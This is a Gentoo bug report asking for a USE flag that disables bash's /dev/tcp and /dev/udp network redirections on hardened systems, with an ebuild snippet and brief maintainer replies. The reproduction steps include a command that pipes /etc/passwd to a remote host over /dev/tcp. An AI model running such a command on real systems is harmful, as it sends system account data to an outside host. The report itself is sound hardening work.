Gentoo Websites Logo
Go to: Gentoo Home Documentation Forums Lists Bugs Planet Store Wiki Get Gentoo!
Bug 242412 - app-shells/bash - add use flag to enable/disable net redirections (/dev/tcp and /dev/udp)
Summary: app-shells/bash - add use flag to enable/disable net redirections (/dev/tcp a...
Status: RESOLVED FIXED
Alias: None
Product: Gentoo Linux
Classification: Unclassified
Component: New packages (show other bugs)
Hardware: All Linux
: High enhancement (vote)
Assignee: Gentoo's Team for Core System packages
URL:
Whiteboard:
Keywords:
Depends on:
Blocks:
 
Reported: 2008-10-16 22:23 UTC by Chris Frederick
Modified: 2009-02-09 01:07 UTC (History)
0 users

See Also:
Package list:
Runtime testing required: ---


Attachments
Patch for bash-3.2_p39.ebuild, adds netredirect use flag (bash-3.2_p39.ebuild.patch,1004 bytes, patch)
2008-11-10 14:21 UTC, Chris Frederick
Details | Diff

Note You need to log in before you can comment on or make changes to this bug.
Description Chris Frederick 2008-10-16 22:23:01 UTC
Add a netredirect use flag to the bash ebuilds.
Then in the src_compile() add the following lines:
# Disable /dev/tcp and /dev/udp redirections unless the net use
# flag has been enabled
if use netredirect ; then
    myconf="${myconf} --enable-net-redirections"
else
    myconf="${myconf} --disable-net-redirections"
fi

The use flag could then be disabled by default in the hardened-gentoo profiles

Reproducible: Always

Steps to Reproduce:
Default ebuild (sends data to the resolved myip on port 12345):
$ cat /etc/passwd > /dev/tcp/myip/12345

Patched ebuild with -netredirect
$ cat /etc/passwd > /dev/tcp/myip/12345
-bash: /dev/tcp/myip/12345: No such file or directory



I keep overlays of app-shells/bash now for all my hardened servers, and this would save me a lot of time patching ebuilds for this feature.
Comment 1 SpanKY gentoo-dev 2008-11-08 14:33:09 UTC
please post a patch against the latest ebuild / metadata.xml
Comment 2 Chris Frederick 2008-11-10 14:21:21 UTC
Created attachment 171298 [details, diff]
Patch for bash-3.2_p39.ebuild, adds netredirect use flag
Comment 3 SpanKY gentoo-dev 2009-02-09 01:07:47 UTC
added to bash-3.2_p48-r1